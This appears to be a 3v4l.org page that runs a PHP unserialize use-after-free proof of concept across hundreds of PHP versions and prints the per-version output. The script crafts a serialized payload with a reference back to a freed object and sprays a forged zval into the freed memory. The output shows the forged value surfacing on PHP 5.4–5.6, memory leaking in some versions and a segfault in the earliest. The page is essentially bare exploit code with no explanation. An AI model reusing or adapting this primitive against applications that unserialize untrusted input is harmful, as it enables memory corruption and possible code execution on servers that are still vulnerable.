3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/rYDbX on line 2 array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/rYDbX on line 2 array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 5.4.45, 5.5.29 - 5.5.38, 5.6.13 - 5.6.40, 7.0.14 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 7.0.0 - 7.0.13
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> &object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 5.4.39 - 5.4.44, 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> int(1122334455) } } }
Output for 5.4.20 - 5.4.38, 5.5.4 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> *RECURSION* } } }
Output for 5.4.10 - 5.4.19, 5.5.0 - 5.5.3
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> string(25) "�v�B0" } }
Output for 5.4.0 - 5.4.9

Process exited with code 139.
preferences:
255.05 ms | 401 KiB | 375 Q